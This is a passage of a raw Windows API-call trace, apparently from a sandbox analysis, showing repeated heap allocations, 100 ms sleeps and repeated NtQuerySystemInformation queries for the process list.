RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f91f0) returned 1 [0035.071] Sleep (dwMilliseconds=0x64) [0035.334] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x4fb820 [0035.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.335] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0x2048) returned 0x4fb820 [0035.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.335] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0x306c) returned 0x4fb820 [0035.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.335] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0x4090) returned 0x4fb820 [0035.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.335] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0x50b4) returned 0x4fb820 [0035.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.335] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0x60d8) returned 0x4fb820 [0035.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.336] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0x70fc) returned 0x4fb820 [0035.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.336] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0x8120) returned 0x4fb820 [0035.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.336] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0x9144) returned 0x4fb820 [0035.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.336] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0xa168) returned 0x4fb820 [0035.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.336] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0xb18c) returned 0x4fb820 [0035.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.337] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0xc1b0) returned 0x4fb820 [0035.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0xc0000004 [0035.337] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fb820, Size=0xd1d4) returned 0x4fb820 [0035.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fb820, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x4fb820, ResultLength=0x0) returned 0x0 [0035.337] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e8910 [0035.337] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8910) returned 1 [0035.337] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4fa4a8 [0035.337] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4a8) returned 1 [0035.337] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0035.337] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.337] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.337] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.337] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.337] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.337] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.337] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4a8 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4a8) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.338] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4a8 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4a8) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4da9f8 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da9f8) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4da9f8 [0035.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da9f8) returned 1 [0035.339] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4da9f8 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da9f8) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d9c28 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8890 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x4f6090 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6090 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6090 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d2690 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2690) returned 1 [0035.340] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.340] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4f7148 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4da9f8 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da9f8) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d2690 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2690) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.341] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.341] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.342] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.342] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6090 [0035.342] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6090) returned 1 [0035.342] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.342] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.342] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.342] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.342] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fb820) returned 1 [0035.342] Sleep (dwMilliseconds=0x64) [0035.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x4fc820 [0035.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0x2048) returned 0x4fc820 [0035.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0x306c) returned 0x4fc820 [0035.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0x4090) returned 0x4fc820 [0035.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0x50b4) returned 0x4fc820 [0035.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0x60d8) returned 0x4fc820 [0035.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0x70fc) returned 0x4fc820 [0035.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0x8120) returned 0x4fc820 [0035.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0x9144) returned 0x4fc820 [0035.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0xa168) returned 0x4fc820 [0035.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0xb18c) returned 0x4fc820 [0035.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0xc1b0) returned 0x4fc820 [0035.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0xc0000004 [0035.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fc820, Size=0xd1d4) returned 0x4fc820 [0035.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fc820, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x4fc820, ResultLength=0x0) returned 0x0 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e88e0 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88e0) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4fa490 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa490) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.491] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.491] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa490 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa490) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa490 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa490) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.492] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.492] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4daa30 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4daa30 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d9c28 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, 